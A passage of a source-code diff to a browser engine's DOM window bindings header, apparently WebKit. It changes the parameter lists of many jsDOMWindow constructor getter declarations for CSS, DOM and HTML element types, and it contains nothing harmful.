 void setJSDOMWindowCSSRuleConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCSSCharsetRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCSSCharsetRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCSSCharsetRuleConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCSSFontFaceRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCSSFontFaceRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCSSFontFaceRuleConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCSSImportRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCSSImportRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCSSImportRuleConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCSSMediaRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCSSMediaRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCSSMediaRuleConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCSSPageRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCSSPageRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCSSPageRuleConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCSSStyleRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCSSStyleRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCSSStyleRuleConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCSSVariablesRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCSSVariablesRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCSSVariablesRuleConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCSSVariablesDeclarationConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCSSVariablesDeclarationConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCSSVariablesDeclarationConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCSSStyleDeclarationConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCSSStyleDeclarationConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCSSStyleDeclarationConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowMediaListConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowMediaListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowMediaListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCounterConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCounterConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCounterConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCSSRuleListConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCSSRuleListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCSSRuleListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowRectConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowRectConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowRectConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowRGBColorConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowRGBColorConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowRGBColorConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowStyleSheetListConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowStyleSheetListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowStyleSheetListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowDOMExceptionConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowDOMExceptionConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowDOMExceptionConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowDOMImplementationConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowDOMImplementationConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowDOMImplementationConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowDocumentFragmentConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowDocumentFragmentConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowDocumentFragmentConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowDocumentConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowDocumentConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowDocumentConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowNodeConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowNodeConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowNodeConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowNodeListConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowNodeListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowNodeListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowNamedNodeMapConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowNamedNodeMapConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowNamedNodeMapConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCharacterDataConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCharacterDataConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCharacterDataConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowAttrConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowAttrConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowAttrConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowTextConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowTextConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowTextConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCommentConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCommentConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCommentConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCDATASectionConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCDATASectionConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowCDATASectionConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowDocumentTypeConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowDocumentTypeConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowDocumentTypeConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowNotationConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowNotationConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowNotationConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowEntityConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowEntityConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowEntityConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowEntityReferenceConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowEntityReferenceConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowEntityReferenceConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowProcessingInstructionConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowProcessingInstructionConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowProcessingInstructionConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLDocumentConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLDocumentConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLDocumentConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLAnchorElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLAnchorElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLAnchorElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLAppletElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLAppletElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLAppletElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLAreaElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLAreaElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLAreaElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLBRElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLBRElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLBRElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLBaseElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLBaseElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLBaseElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLBaseFontElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLBaseFontElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLBaseFontElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLBlockquoteElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLBlockquoteElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLBlockquoteElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLBodyElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLBodyElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLBodyElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLButtonElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLButtonElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLButtonElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLCanvasElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLCanvasElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLCanvasElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLDataGridElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLDataGridElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLDataGridElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLDataGridCellElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLDataGridCellElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLDataGridCellElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLDataGridColElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLDataGridColElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLDataGridColElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLDListElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLDListElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLDListElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLDirectoryElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLDirectoryElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLDirectoryElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLDivElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLDivElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLDivElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLEmbedElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLEmbedElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLEmbedElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLFieldSetElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLFieldSetElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLFieldSetElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLFontElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLFontElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLFontElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLFormElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLFormElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLFormElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLFrameElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLFrameElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLFrameElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLFrameSetElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLFrameSetElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLFrameSetElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLHRElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLHRElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLHRElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLHeadElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLHeadElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLHeadElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLHeadingElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLHeadingElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLHeadingElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLHtmlElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLHtmlElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLHtmlElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLIFrameElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLIFrameElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLIFrameElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLImageElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLImageElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLImageElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLInputElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLInputElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLInputElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLIsIndexElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLIsIndexElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLIsIndexElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLLIElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLLIElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLLIElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLLabelElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLLabelElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLLabelElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLLegendElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLLegendElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLLegendElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLLinkElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLLinkElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLLinkElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLMapElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLMapElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLMapElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLMarqueeElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLMarqueeElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLMarqueeElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLMenuElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLMenuElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLMenuElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLMetaElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLMetaElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLMetaElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLModElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLModElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLModElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLOListElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLOListElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLOListElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLObjectElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLObjectElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLObjectElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLOptGroupElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLOptGroupElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLOptGroupElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLOptionElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLOptionElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLOptionElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLParagraphElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLParagraphElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLParagraphElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLParamElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLParamElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLParamElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLPreElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLPreElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLPreElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLQuoteElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLQuoteElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowHTMLQuoteElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowHTMLScriptElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowHTMLScriptElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
